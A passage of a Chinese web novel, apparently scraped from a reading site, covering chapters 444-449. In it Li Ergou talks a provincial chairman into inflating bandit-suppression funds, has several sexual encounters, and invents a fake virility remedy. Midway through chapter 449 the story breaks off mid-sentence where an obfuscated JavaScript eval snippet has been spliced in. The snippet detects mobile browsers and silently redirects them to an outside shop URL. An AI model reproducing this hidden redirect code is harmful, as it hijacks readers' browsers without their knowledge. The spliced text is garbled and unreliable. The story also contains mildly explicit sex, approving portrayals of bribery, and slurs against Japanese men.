“干爹,再给我一些时间,等我处理完江东的事情就来孝顺您老人家。” 第444章 大家都是自己人 省政府夏瀚林办公室。 “二狗,我可有些日子没见你了,这段时间你都忙什么去了?” 李二狗一副苦大仇深的样子。 “哎,别提了,夏主席,您不知道,我们胡家大院前几天又被土匪打劫了,胡少爷一个几岁的孩子都被他们残忍地杀害了!” 夏瀚林气得一拍桌子,骂道:“这群土匪简直是无法无天!不彻底剿灭他们,实在是难以平民愤!” “是啊,现在江东的百姓恨极了土匪,还得请夏主席为我们江东的百姓做主啊。” 夏瀚林瞥了一眼桌上的一份申请报告,这是孙竹刚报上来申请剿匪经费的报告,申请剿匪经费大洋两万块。 江东县目前连政府赋税还没上交,现在却来申请剿匪经费,如果换作别人,夏瀚林早就撤职查办了。 但孙竹刚是李二狗推荐的人,某种意义上来说是吴有德的关系,夏瀚林不得不考虑的更深远一些。 “二狗啊,江东一个巴掌大小的地方,却遍地是土匪,我看你呀还是赶紧离开那里吧,来省城跟着吴爷才大有前途。” 李二狗叹息一声,说道:“谁说不是呢?吴爷刚从南京回来,听他说南京方面有意让他重新出山,他准备把名下产业都交给我来打理,您说吴爷这么大的产业,我一个人怎么撑得起?哎,我都快愁死了!” 夏瀚林听到南京方面准备让吴有德重新出山,顿时来了兴致。 “你刚才说南京方面要请吴爷重新出山?吴爷他是什么意思?” 李二狗故意压低声音说道:“行政院的孙院长是吴爷打小看着长大的,他一直叫吴爷叔叔,他想让吴爷出山帮他,吴爷实在是不好拒绝,我看这事八九不离十。” 夏瀚林早就想离开现在这个穷困落后又民风彪悍的地方,如果吴有德真得能够重新出山,一定会被委以重任,到时候把自己调走,就是他一句话的事。 “二狗啊,那你还犹豫什么?赶紧来省城帮吴爷,解决他的后顾之忧!” 李二狗显得很为难,连着叹了几口气,一副欲言又止的样子。 “你到底在顾虑什么?” “夏主席, 您不是外人,我也不瞒您了,胡家大院的胡老爷已经去世,如今的胡家大院全指望着我一个支撑局面。” “为了一个小小的胡家大院就被束缚住了手脚,你觉得值得吗?” “夏主席,您知道胡家大院有多少土地吗?”李二狗故作神秘地问道。 “多少?一千亩?” 李二狗夸张地伸出五个手指头。 “五千多亩!” 夏瀚林倒吸一口凉气,他没想到胡家大院竟有这么多土地。 “现在虽然在闹匪患,但一亩土地还是能卖十块大洋,五千亩就是五万块大洋,夏主席,您说,我舍得就这么轻易放弃吗?” “那赶紧想办法把地卖了,反正都是你说了算。” “哎,现在江东到处都是土匪,根本没有人愿意买地。” 李二狗不卖掉胡家大院的土地就不能来省城,不能来省城就不能让吴有德无后顾之忧,吴有德有后顾之忧就无法重新出山,他不重新出山夏瀚林就不能得到肥缺,这是一个循环。 要解决这个问题,必须从源头上入手。 夏瀚林拿起桌上的报告,向着李二狗挥了挥,说道:“我这里刚收到一份江东县政府打来的报告,申请剿匪经费两万块大洋。” 李二狗一副感动的表情。 “没想到孙县长如此爱民如子啊,真是江东的好父母官啊。” 夏瀚林说道:“现在全省上下用钱的地方实在是太多了,想挤出两万块大洋,实在是不容易啊。” “夏主席,您也知道,江东出响马,不仅在省内,就是在全国也非常有名,我觉得如果孙县长能用两万块大洋的经费就消灭江东的匪患,这可是大功一件啊。” 夏瀚林没有说话,内心还在犹豫着。 他并不是拿不出这两万块大洋,而是觉得这两万块大洋批给江东县,就等于打了水漂,毫无作用。 “夏主席,江东的匪患如果能解决,在南京方面,功劳可都是您的啊。” “二狗啊,我不是舍不得这两万块大洋,只是觉得两万块大洋能解决匪患吗?很多地方都是借着剿匪的名义来骗取上级的资金。” 李二狗站起来,拍着胸脯保证道:“夏主席,您放心,我回去之后一定全力配合孙县长剿匪,如果不能解决江东的匪患,这两万块大洋我个人掏了补给您。” 夏瀚林听了李二狗的话,确实有些心动。 不过他还是以为李二狗只是卖地心切,剿匪之事,政府都不敢保证,他一个地主大院的管家却大包大揽,实在是有些不知天高地厚。 “二狗,你冷静一点,两万块大洋可不是小数啊。” 李二狗走到夏瀚林身边,低声说道:“夏主席,你我都知道剿匪不是小事,我建议您向南京国民政府也打一份申请剿匪经费的报告……” 李二狗及时住了嘴,他知道夏瀚林肯定明白他话里的意思。 果然,夏瀚林听了李二狗的话,心动不已。 江东县政府向省政府申请两万块大洋的剿匪经费,省政府要是向南京国民政府申请剿匪经费,怎么也得十万块大洋起步。 一级政府有一级政府的标准,如果申请少了,上级还以为你在糊弄他们。 “二狗,剿匪之事迫在眉睫,我这就批准江东县的申请报告。” “我代表江东的父老乡亲感谢夏主席,您真是他们的再生父母啊。” “哪里哪里,当官不为民做主,不如回家卖红薯!这都是我作为一省主席该应该做的。” 李二狗站起来,说道:“夏主席,那我就不打搅您工作了,晚上我在百乐门订了包厢,您可一定要光临啊。” 夏主席握着李二狗的手,笑道:“大家都是自己人,千万不要这么见外,二狗,南京国民政府那边,还得麻烦吴爷多多美言几句。” “夏主席请放心,您的事就是我的事,我回去一定告诉吴爷。” 夏主席亲自把李二狗送到门外。 第445章 李二狗,我恨你 李二狗出了省政府,开着车竟鬼使神差地来到井伊商社门前。 上次为了帮助自己,酒井空触犯军纪,为了活命,她不得不答应特务头子土肥圆贤三的条件,被调去东北关东军接受特训。 但这一切李二狗都毫不知情。 当初,酒井空离开的时候,告诉他自己被调去了井伊商社在伪满洲国新开的分社。 不得不说,酒井空是一个有过一次就难以忘记的女人。 她身上有一种日本女人独有的逆来顺受的气质,她可以满足你的任何要求,而且甘之如饴,这是中国女人所比拟不了的。 “空儿,你还好吗?”李二狗呢喃道,“真得好想再见你一面。” 正当李二狗发动车子准备离开的时候,一个美丽且熟悉的身影出现在井伊商社门前。 那气质、那身段,正是酒井空。 她回来了! 她真得回来了! 李二狗欣喜异常,他没想到幸福竟来的如此突然。 他急忙打开车门下了车,此时酒井空也看到了李二狗。 她先是一愣,随即转身进入了井伊商社,李二狗刚刚挥起的手停在半空。 难道她没看见自己吗? 几十米的距离,她怎么会看不见自己呢? 那她明明看见了,为何又选择视而不见呢? 李二狗本想走进井伊商社亲自问一问酒井空,当初的一切难道都是逢场作戏吗? 刚向前走了几步,李二狗便停了下来。 她明明看见自己却选择无视,自己这时候再强行闯入,岂不是自取其辱? 这不仅仅是男女之间的问题,这是中国男人和日本女人的问题,他绝不能丢了中国男人的脸面。 想到这,他转身钻入汽车,疾驰而去。 回到吴公馆,吴有德和静雯都不在家,李二狗落寞地坐在客厅沙发上发呆。 酒井空的样子总是在他的头脑中挥之不去! 这个女人去了一趟东北,回来之后就变得如此冷漠无情,实在是令人伤心。 “狗哥,你回来了。” 李二狗一转头,看到孙小雨不知道什么时候已经站在自己身后。 客厅顶部的水晶灯光斜斜地照射下来,落在孙小雨身上。 她今天穿了一件墨绿色织锦旗袍,领口收得极紧,衬得她的脖颈晶莹如玉,盘扣是鸽血红的玛瑙,随着她的呼吸轻轻起伏着。 旗袍下摆刚刚漫过她的膝盖,开衩处露出大半截大长腿,肉色丝袜裹着的肌肤在光线下泛着蜜柚色。 旗袍腰身处掐得极细,她扭动着腰肢绕过沙发走到李二狗身前,臀部紧绷出一个圆润的弧度,就像一块刚刚浸了水的翠绿翠绿的和田玉。 “小雨,你怎么在家?” 李二狗喉咙有点发紧,今天的孙小雨和往常不太一样,性感撩人的样子颇有几分静雯的神韵。 “狗哥,人家在等你嘛。” 声音嗲的令李二狗不禁打了一个寒颤。 她坐到李二狗身旁,手很自然地搭在李二狗的大腿上。 李二狗下意识地往沙发一侧挪了挪,孙小雨也跟着挪动翘臀,紧紧地挨着李二狗。 “狗哥,是我不够漂亮吗?你为什么总是对人家视而不见?人家真得好伤心。” 孙小雨的泪水在眼眶里打转,眼角含泪低垂的样子令人不敢直视。 “小雨,你很漂亮,但我……” “狗哥,”孙小雨突然握住李二狗的手,“我什么都不要,我只想和你好一场。” “小雨,我答应过你们小姐要好好照顾你,你应该找一个适合你的男人,而不是我……” “我不管,我不管,我只要你……” 孙小雨扑到李二狗身上,温热的唇贴到李二狗唇上,令他一时有些猝不及防。 李二狗躲闪着,可孙小雨却抱得更紧的。 他怕被公馆里的下人看见,此事要是传到静雯耳朵里,自己还好解释,可孙小雨以后就无法在吴公馆立足了。 他想要推开孙小雨,可孙小雨死死抱住李二狗就是不松手。 李二狗只好说道:“小雨,这里不是说话的地方,我们上去说。” 孙小雨眼里直冒光。 “那去我屋里说。” 李二狗一愣,楼上除了孙小雨的卧室,确实没有其他合适的地方。 来到孙小雨的卧室,刚一进入,她便把门反锁,从背后紧紧地抱住李二狗。 “狗哥,我好喜欢你。” 孙小雨穿了一件紧身旗袍,贴在李二狗身上,他能清晰地感受到她身上的温热。 “小雨,你别这样,先听我说。” 李二狗试着去掰开孙小雨的手,可她却十指紧扣,怎么也不松开。 突然,孙小雨解开了李二狗的腰带,把他的裤子褪了下去。 他赶忙握住孙小雨的手,说道:“小雨,你别这样,我不能害了你。” “狗哥,你就害我吧,我心甘情愿被你害,我要你要我。” 孙小雨紧紧贴着李二狗,李二狗竟不争气地动了起来。 孙小雨见状,仿佛受到了极大的鼓励。 她不管不顾地把自己的旗袍脱了下来,露出一件贴身的红色小肚兜。 “狗哥,抱我!” 孙小雨绕到李二狗身前,贴到他身上。 不可否认,孙小雨的确是一个漂亮的女人,身材和脸蛋并不比静雯差,关键是肌肤更加紧绷有弹性。 青春无敌! 他一把抱起孙小雨,孙小雨娇羞地闭上了眼睛。 李二狗把孙小雨放到床上,此刻,一览无余的孙小雨就像春天里一支含苞待放的花蕾,等待 李二狗俯下身子采撷。 他低头吻住了她的唇、她的颈、她的胸…… 突然,慕容雪的样子出现在他的脑海里,她沐浴在热气缭绕的温泉池中含笑向李二狗挥手…… 李二狗顿时就像一个泄了气的皮球。 孙小雨见李二狗有些愣神,努力用嘴去迎合他。 “狗哥,不要停,我要……” 此时的李二狗已经清醒,再也没有了兴致。 “对不起,小雨,我……” 李二狗下床捡起地上的衣服,落荒而逃。 “李二狗,我恨你!” 她一把拉过被子蒙在头上,屈辱的泪水夺眶而出。 第446章 有贼心没贼胆 李二狗回到静雯的卧室,关上房门,出了一身的冷汗,仿佛刚刚经历了一场鏖战。 此刻,他仿佛还能听见隔壁房间孙小雨的抽泣声。 他知道自己这一次深深地伤害了她,可有些事情,实在是难以解释,也无法解释,只能以后再找机会好好补偿她。 李二狗自以为见多识广,阅女人无数,其实他根本不懂女人。 对于女人来说,爱而不得之后往往不是遗憾,而是怨恨! 孙小雨把李二狗冷落自己的原因归咎到静雯身上。 “李二狗是我的,谁也别想和我抢!” 她紧咬着自己薄薄的嘴唇,一直到咬出血竟毫无知觉。 夜幕降临之后,李二狗穿好衣服下了楼,正好碰见孙小雨。 李二狗显得有些慌乱,不知道该如何面对她。 “狗哥,晚上好。” 看着一脸笑意的孙小雨,李二狗恍惚觉得先前的一切好像都没有发生一般。 “晚上好。”李二狗露出一丝尴尬的笑容,“小雨,我……” “狗哥,之前的事我都忘记了,希望你也别放在心上,好吗?” 一直压在李二狗心上的石头终于落地,他没想到孙小雨竟是一个如此通情达理的女人,看来自己之前的担心都是多余的。 “小雨,谢谢你。” “嘻嘻,应该是我谢谢你才对。”孙小雨的笑容是那么的灿烂,“我现在去做晚饭,你晚上想吃什么?” “晚上我有事,就不在家里吃了。” 李二狗说完,便匆忙离开了吴公馆。 孙小雨看着李二狗的背影,笑容消失了,眼若寒霜。 李二狗来到百乐门大舞厅,里面依然是车水马龙。 静雯不在,李师师依旧对李二狗热情似火。 “狗哥,好久不见,你还是那么帅气,嘻嘻。” “师师经理,好久不见,你还是那么骚情,哈哈。” 李师师媚笑着打了李二狗一下,娇嗔道:“你可真是讨厌,就会欺负人家,人家对你可都是真心的。” 李二狗内心憋着一股欲望之火,便挑逗道:“是不是真心得咱俩深入交流交流才知道,光靠嘴可不行。” 李师师毫无惧色,以前她撩拨李二狗,他都一直躲闪,没想到这次竟如此主动。 她仿佛看到了机会。 “靠嘴不行?你试试就知道行不行了,嘻嘻。” 李二狗经历过不少女人,但像李师师这般既妖媚又骚情的女人,他还从未经历过。 一时有些心痒难耐。 “那就试试?” 李二狗说着就要在大庭广众之下解自己的腰带,吓得李师师脸都黄了。 他按住李二狗的手,嗔骂道:“你要作死啊?楼上有的是地方,跟我上楼。” 李二狗戏谑之言,没想到李师师还当真了。 “嘿嘿,师师,夏主席马上就要到了,咱们还是先忙正事吧。” 李师师气得胸脯子一抖一抖的。 她剜了李二狗一眼,挑衅道:“有贼心没贼胆!哼!有本事晚上别走!” 李师师转头扭着丰满的屁股上了二楼,她必须把包厢重新检查一遍,夏瀚林到百乐门,她不敢不重视。 晚上八点钟,夏瀚林来到百乐门大舞厅。 李二狗利用吴有德的威信,在夏瀚林面前向他承诺了不少事情,此时他可不敢让吴有德和夏瀚林见面。 “夏主席,吴爷听说您今晚要来,本来要来陪您,可他身体突然不舒服,只好在家卧床休息,您可千万别见怪啊。” “吴爷怎么了?没事吧?” 吴有德身体有恙,夏瀚林也是十分担心,他心里期盼着吴有德重新出山。 “只是头有点晕,应该是最近太累了,没什么大事,医生说休息两天就好了。” 夏瀚林语重心长地说道:“二狗啊,听我一句劝,赶紧来省城帮吴爷分分忧吧。” “听夏主席的,等忙完这一阵子我就过来,夏主席,里面请,今晚我陪您好好喝几杯。” 两人来到包厢,刚坐下,静雯便赶来了。 “夏主席,我来迟了,您千万别见怪啊。” 夏瀚林笑道:“静雯,你来晚了,必须罚酒三杯。” “必须三杯,嘻嘻,只要您高兴呀,罚我六杯我都乐意。” 静雯就是静雯,几句话就让夏瀚林笑得合不拢嘴。 李二狗没想到静雯会来,他担心自己刚才对夏瀚林信口胡诌的那些话被静雯不小心揭破,便说道:“静雯,刚才我在你办公室掉了一个东西,你来帮我找一下。” 李二狗给静雯使了个眼色,静雯心领神会。 “你呀,总是丢三落四,”她转头看向夏瀚林,“夏主席,您先喝着,我去去就回。” “好好,你们去吧。” 静雯又对李师师嘱咐道:“师师,一定伺候好夏主席。” 两人出了包厢,静雯问道:“怎么了?神神秘秘的。” “我和夏主席说,干爹身体不舒服,在家休息的,你可千万别说漏了嘴。” 静雯一听吴有德身体不舒服,吓了一跳。 “干爹怎么突然不舒服?要不要紧?” “傻瓜!我骗他的,干爹没事,我只是不想他和干爹见面。” 静雯立刻明白了李二狗的意思。 “你是不是又打着干爹的旗号在夏主席面前大吹大擂了?” 李二狗忍不住亲了静雯一口,她总是能第一时间领会李二狗的意思。 “什么事都不瞒不过你的眼睛,你可真是我肚子里的蛔虫。” “去你的,什么蛔虫?恶不恶心啊你?” “嘿嘿,我是你肚里的蛔虫行了吧?” “讨厌!”静雯娇嗔道,“你一抬屁股,我就知道你要放什么味的屁,还想瞒我?嘻嘻,你先进去陪夏主席,我给家里打个电话说一声,干爹要是突然来了咱们可就尴尬了。” 李二狗忍不住又亲了她一口。 “还是你想得周到,我爱死你了。” “别光嘴上说,爱是做出来的,不是说出来的。” “现在不合适吧?”李二狗故意问道。 “去你的,今晚回家你要好好表现,嘻嘻。” 李二狗忍不住掐了一把她丰满的屁股,她扭着小蛮腰,乐得屁颠屁颠地去了办公室。 第447章 学外语 李二狗、静雯加上李师师,三个人连番敬夏瀚林喝酒,夏瀚林虽是海量,也很快喝得面红耳赤。 “二狗啊,不能再喝了,我看今晚咱们就先这样吧。” 第二狗说道:“夏主席,这才不到十点,不着急。” 说着便向静雯使了个眼色。 静雯连忙上前,坐在夏瀚林身边,很自然地挽着他的胳膊。 “夏主席,我们舞厅新来了一个波希米亚的姑娘,那外语呀,讲得相当好,而且对咱们中国的传统文化特别向往,您看您是不是抽出时间给她辅导辅导?她可崇拜您了。” 夏瀚林不动声色地说道:“奥?波希米亚?和咱们国家一样,他们的文化也是相当的古老啊。” 说完一副很向往的神情。 静雯看夏瀚林的神情就知道他心中的想法,急忙附和道:“是啊,两种古老的文化碰撞在一起,一定能够产生文明的火花,夏主席,您可一定不能让外籍友人失望啊。” “哈哈,那我就见一见?”夏瀚林的酒仿佛都醒了一半,“正好我也想学习学习外语。” 静雯赶紧对旁边的李师师说道:“师师,快扶夏主席去休息,然后把莎拉耶娃叫过来。” 李师师心领神会,赶紧上前扶起夏瀚林,夏瀚林已经兴奋的满面红光。 “二狗,静雯,你们去忙你们的吧,不用管我了。” “夏主席,那我们就先回去了,吴爷身边离不开人。” “好好,回去给吴爷带好,改日我去看他。” 静雯又嘱咐道:“师师,等会你一定安排人把夏主席安全送回家。” 夏瀚林忙说道:“这么晚了,今晚我就不回家了,省得还得麻烦你们。” 静雯说道:“夏主席真是太会体恤我们了,谢谢夏主席。” 等他出去之后,李二狗笑看着静雯,调侃道:“我也想学外语。” “哎吆!” 静雯狠狠地掐了一下李二狗的腰眼,疼的他嗷嗷直叫。 “回家我再好好收拾你。” 两人回到家时,吴有德已经睡下。 李二狗很担心碰到孙小雨,好在她并没有出现。 但李二狗心里清楚,她此时肯定躲在某个角落,注视着自己的一举一动。 回到屋里,静雯便迫不及待地脱去李二狗的衣服,两人激烈地缠斗在一起。 李二狗用尽洪荒伟力,静雯一次次站上巅峰。 事后,静雯不久便沉沉睡去。 李二狗突然想起孙小雨就住在静雯隔壁,刚才她会不会一直在听墙角? 想到这,李二狗竟莫名其妙地产生一股奇怪的冲动! 如果把她叫进来一起,不知道她愿不愿意? 李二狗为自己竟有这么龌龊的想法而感到羞耻! 他悄然起身,来到窗前,本想透一口气,却透过窗子看到离吴公馆三四百米的地方停着一辆黑色轿车。 这个时间停着一辆车,显得十分不正常。 李二狗怕打扰别人,便悄然穿上衣服,把手枪别在腰间下了楼。 “李先生,这么晚了您还要出去吗?” 院子里有七八个巡逻的保镖,为首的叫张德胜。 “张队长,我有事出去一趟,你嘱咐兄弟们看好家。” 张德胜以前在二十七军当兵,是一个很精明的人,他从李二狗的话里立即听出了玄机。 “李先生,要不要我派两个兄弟跟着你一起去?” 李二狗没想到张德胜这么观察的这么敏锐,是一个可用之人。 他拍了拍他的肩膀,笑道:“不用,我自己应付得来。” 李二狗悄悄出了门,蹑手蹑脚地接近了那辆可疑的车辆。 他躲在一棵树后,看到车内坐着一个人,突然车里的人打开车门走了下来。 李二狗担心暴露,急忙把头缩回来躲在树后,从腰间掏出手枪握在手里。 “二狗先生,别来无恙啊!” 分明就是酒井空的声音。 李二狗的心剧烈地跳动起来,她白天不搭理自己,深夜又来到这里等待,她到底想做什么? 不过确定是酒井空的声音之后,李二狗便把手枪收了起来,他知道,她肯定不会对自己动手。 “酒井小姐,好久不见。” 李二狗闪身而出,看见酒井空穿着一身粉红色的和服,站在车下,笑意盈盈地看着他。 “明明白天已经见过了,怎么能叫好久不见呢?” 声音柔和却充满了无限地魅惑。 “我还以为酒井小姐贵人多忘事,不记得在下了。” 酒井空慢慢走向李二狗,每一步都踩在李二狗的心坎上。 她站在李二狗身前,望穿秋水般的眼睛直视李二狗的双眼。 “你就是化成灰我也认得你。” 李二狗再也无法自持,紧紧地把她搂入怀中…… “这里不是说话的地方,明天上午你到这个地方找我,我等你。” 说着她把一张事前准备好的纸条塞入李二狗的手中。 “不见不散!” 说完之后,酒井空转身钻入车中,很快就消失在夜色中。 李二狗打开纸条,借着月光,看到上面写着:久德公寓303房间。 他把纸条撕碎揉成一团扔进了旁边的灌木丛中,然后回了吴公馆。 “二狗,你去哪了?” 李二狗刚回到房间,静雯便醒了。 “我去外边抽了一支烟,把你吵醒了?” “嗯,你快上床睡吧,我都累散架了。” 李二狗脱身上床,从后面抱住静雯,她很快便睡着了,而李二狗却失眠了。 酒井空深夜前来,却能准确地预判自己会发现她,她怎么会如此自信? 白天明明看到了自己,为何又装作不认识? 明天上午约自己去久德公寓见面,会不会是一个陷阱? 她到底是什么人? 难道真的是日本特务吗? 那自己到底去不去赴约呢? 李二狗心乱如麻,一夜未睡。 “二狗,你怎么了?眼圈都肿了!”早上刚起床,静雯便惊呼道。 “昨晚兴奋过头了,没睡着!” 说着他便抱住静雯,在脸上一顿啃。 静雯娇羞地一笑,说道:“看把你兴奋的,吃起来就没个够!” “是啊,没够,要不然咱们再……” 静雯吓得往后一缩,说道:“你可饶了我吧,我现在走路都疼。” 李二狗佯装不高兴,学着静雯的声音嘟囔道:“人家想要嘛。” “滚!没正行!” 第448章 低眉顺耳的酒井空 李二狗又想和静雯动手动脚。 静雯打了一下他不老实的手,说道:“好了,别闹了,干爹还等着咱们下去吃早饭呢。” “吃你可比吃早饭香多了。” 静雯不甘示弱地讥讽道:“就知道臭贫,不是昨晚累得求饶的时候了。” “晚上走着瞧!” 两人洗漱完毕,便一起来到楼下。 吴有德已经坐在餐桌最东侧的一把椅子上,孙小雨坐在下首。 对于孙小雨,李二狗非常感谢吴有德和静雯,他们没有把孙小雨当成下人看待,这也算给李二狗一个莫大的面子。 “狗哥,静雯姐,早上好。” 孙小雨热情地向他们打着招呼,脸上看不出任何异常。 越是看不出异常,反而越有异常。 事出反常必有妖! 李二狗微笑着看向孙小雨,结果她根本不拿正眼瞧他。 她站起身,给李二狗和静雯盛了两碗小米粥。 静雯说道:“小雨,我们自己来就行,你别忙了,快坐下吃饭吧。” 孙小雨只是笑了笑,还是把饭盛好放在他们面前。 吴有德假装随意地问道:“静雯,你昨晚打电话让我别去百乐门是什么意思?” 静雯笑道:“这件事你还是问他吧。” 说完用手指了指李二狗。 “二狗,到底是怎么回事?” 李二狗假装瞪了静雯一眼,嬉笑着说道:“干爹,这件事我正打算向您汇报的。” 看李二狗神色如常,吴有德料想也不是什么大事,便说道:“说吧,我听着呢。” “昨天我去省政府见夏主席,我们江东有点事想求他帮帮忙,不过他很为难。” “然后呢?” “然后我就告诉他,南京的孙院长有意让您重新出山。” “然后呢?” “然后他就不为难了。” 吴有德哈哈一笑,说道:“二狗啊二狗,你们都不为难了,县长该轮到我为难了。” 李二狗说道:“干爹,在中国政坛,谁不知道您和孙院长的关系?只要您愿意,这还不是水到渠成的事?我并没有欺骗夏主席。” “你呀,怎么说都是你自己有理。” 静雯附和道:“是啊,他的总理!” 说完还不忘给他做个鬼脸。 孙小雨只顾着低头吃饭,一言不发。 李二狗放下碗筷,表情认真地说道:“干爹,说实话,其实夏主席这个人还不错,用好了可以给我们提供不少帮助。” 吴有德把碗筷放在桌上,拿起旁边的手巾擦了擦嘴。 “你呀,根本就不懂政治。我吃饱了,你们慢慢吃吧。” 说完,吴有德就直接上了楼。 “我没说错什么话吧?”李二狗看着吴有德的背影问道。 静雯往楼上瞅了一眼,低声说道:“有一次我听干爹说,其实孙院长在南京并没有多少话语权,这也是他不愿意重新出山的主要原因。” 李二狗心想,明明是行政院的一把手,却没有多少话语权,看来自己真是不懂政治。 静雯吃完之后问道:“上午你干什么?” 李二狗揉了揉眼睛,说道:“我昨晚没睡好,正好补补觉。” “那我就不管你了,我和小雨上午还有个重要的会议,晚上我们在百乐门见吧。” 李二狗故意打了个呵欠,摆摆手说道:“你们都是大忙人,快去忙你们的吧,我一个人乐得清闲。” 这时候孙小雨已经起身上楼去换衣服,静雯低声说道:“清闲?今天晚上你就知道清不清闲了,嘻嘻。” 李二狗心里一阵发虚,他岂止今天晚上没得清闲,上午就得忙活起来。 静雯和孙小雨走后,吴有德从楼上走了下来。 “干爹,您出去?” “我去趟商会,商议一下抵制日货的事。” “抵制日货?怎么突然就抵制日货了?” “也不是突然抵制,这两年日本强占了咱们东三省,目前又在华北兴风作浪,民众反日情绪很高涨,我先去了,有什么事咱们晚上再说。” 吴有德走后,李二狗隐约感觉到酒井空昨天在井伊商社门前不理会自己的原因了。 他赶紧上楼,梳洗打扮一番便开车出了门。 来到久德公寓楼下,李二狗习惯性地观察了一番周围的情况,并没有发现可疑的人,便直接上了楼。 来到303门前,李二狗犹豫了一下,还是敲响了房门。 “谁?” “是我。” 门打开了。 酒井空身穿一身荷藕色和服,双手垂立,一脸的娇羞。 “二狗先生,里面请。” 尽管两人已经有过数次肌肤之欢,但酒井空每次见到李二狗都显得极其恭敬顺从,这让李二狗心里十分受用。 南京国民政府虽然无能,但中国男人却能让日本女人如此低眉顺耳,这本身就是一件了不起的事情。 “酒井小姐今天的衣服真好看,很适合你。” 酒井空脸色潮红,细声细语地说道:“谢谢二狗先生夸奖,您喜欢就好。请坐。” 李二狗这才看到室内的布局。 客厅铺着一张榻榻米,泛着一股淡淡的香气。 正中有一张矮桌,漆成暗红色,上面放着一把铜壶,里面的热水正冒着细白的热气。 靠墙立着一个多层木架,木架上层摆着几个青瓷花瓶,里面插着两枝枯梅,木架下层叠着几个素色棉垫。 角落里的壁龛上挂着一幅水墨山水,下面矮台上的白瓷碗里盛着细沙,上面插着一支尚未燃烬的线香。 地面上铺着木板,踩上去发出“咯吱咯吱”的轻响。 客厅尽头是一间敞开的小室,里面铺着一个厚褥子,枕头旁边堆着几本线装书,纸窗透进的光线在书页上投下网格状的暗影。 墙角炭炉烧得正旺,铜釜里的水正“咕嘟咕嘟”轻声沸腾着,混着一股淡淡的樟香,弥漫在寂静的空气里。 这是李二狗第一次接触日式布局的住宅,给他的第一印象是这种布局特别适合男欢女爱,几乎脱了裤子就能办正事。 “二狗先生,您在想什么?” 李二狗抬眼看到娇羞的酒井空,顿时有一种替南京国民政府出口恶气的冲动! 第449章 一夜七次丸 “酒井小姐,我觉得你欠我一个解释。” 李二狗在办正事之前,还是想问清楚酒井空对自己视而不见的真实原因,虽然这个原因他内心已猜到大概。 酒井空没有立即回答他的问题,而是移步来到李二狗身旁,眼中那一汪秋水似乎要满溢而出。 “怎么?你伤心了?” 李二狗努力保持着镇定,他微微一笑,说道:“伤心倒不至于,因为我知道酒井小姐并不是一个提上裤子不认人的女人,想必你那么做一定有你的苦衷。” “二狗先生不愧是我喜欢的男人,分析起问题来头头是道。你说的没错,我确实有我的苦衷。” “我愿意洗耳恭听。” 酒井空一双玉手在李二狗大腿上游走,媚眼如丝。 “其实我的苦衷很简单,因为我不想让别人知道你和一个日本女人有瓜葛。” 李二狗微微一笑,回应道:“应该也不想让别人知道你和一个中国男人有瓜葛吧?” 两人相视而笑,颇有一种心有灵犀一点通的默契。 酒井空突然盯住李二狗的眼睛。 “二狗,这几个月来,我日日都盼着与你相见的这一天。” “我也盼着与你相见,”李二狗伸手抚摸着她白皙嫩滑的脸颊,“也是日日。” 两人你看我,我看你,终于天雷勾动地火,烈火遇上干柴。 李二狗把酒井空摁倒在日式榻榻米上。 “二狗,对我粗鲁点,好吗?” 脱了衣服的酒井空简直就是一件艺术品,红润白皙的皮肤仿佛吹弹可破。 李二狗真的不忍心粗鲁地对待她,可酒井空主动提出要求,他又实在无法拒绝。 一时间地动山摇。 李二狗好几次不忍心继续下去,却在酒井空的引导下,愈战愈粗鲁,两人几乎同时达到从来没有体验过的那种状态。 酒井空呼哧呼哧娇喘着,脸上是一副享受的表情。 “二狗,你好勇猛,我爱死你了。” 李二狗抚摸着酒井空的肌肤,有些心疼地问道:“我刚刚是不是有点过分?” 酒井空依偎在他怀里,娇羞道:“是啊,不过人家喜欢你的过分……嘻嘻。” 李二狗无语。 他故意问道:“难道你们日本女人都喜欢男人这样吗?” 酒井空抚摸着李二狗的胸毛,突然猝不及防地揪下来一根,疼得李二狗倒吸一口凉气。 “调皮!” 李二狗轻轻地打了一下酒井空的手,她笑的更开心了。 “你还没有回答我的问题呢?”李二狗追问道。 酒井空尚未开口,便把头埋在李二狗怀里,仿佛接下来的话难以启齿一般。 “我不知道其他日本女人喜不喜欢这样,但我知道,她们肯定没有达到过我这种状态。” 李二狗更加来了兴趣,笑问道:“你怎么知道她们没有?” 酒井空咯咯笑了起来。 “因为我们日本没有像你这样孔武有力的男人呀。” 一种自豪感在李二狗心中油然而生。 “你们日本男人都这么废物吗?” 面对李二狗如此粗鲁的话,酒井空却深以为是。 “是啊,他们不仅身材小,其他地方也……嘻嘻……” 李二狗故意追问道:“其他地方也什么?” “你讨厌了啦!其实,你不知道,在我们日本,很多男人都需要吃一些进补的药品。” 酒井空突然抬头看着李二狗,一脸天真地问道:“你平时是不是也喜欢吃进补的药品?不然怎么会这么厉害?” 李二狗刚想说自己从小习武,天生勇猛无敌,但他在酒井空的话语里听到了商机。 “我祖上是老中医,留下一副秘方,男人吃了可以一夜七次,所以叫一夜七次丸,我从小就吃它,效果杠杠的!” “真的?” 酒井空水汪汪的大眼睛难以置信地看着李二狗,以为他是在逗自己。 “当然是真的,你刚刚不体验过了吗?你自己说是不是真的?” “真是太不可思议了,这东西要是传到我们日本,岂不是卖疯了?” 李二狗头摇的和拨浪鼓似的。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427401|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 可不行,这是我们家祖传的秘方,可不能轻易传到国外去,尤其是你们……” 酒井空光着身子坐起身来,一本正经地对李二狗说道:“二狗,我们井伊商社想全权代理你们家的一夜七次丸。” 李二狗脸上显得极其为难,心中却是一阵窃喜。 “这个秘方是我们中国中医的瑰宝,要是传到你们日本,我怕我们中国人骂我十八辈祖宗。” 酒井空不愿放弃,她想了想,突然兴奋地说道:“我倒是有个主意,只是不知道你愿不愿意?” “你先说来听听。” “我知道,这个秘方是你家祖传的,你肯定不会把秘方卖给我们井伊商社。” 李二狗点头道:“对啊,我不能做不孝子啊,否则我对不起我们李家的列祖列宗。” 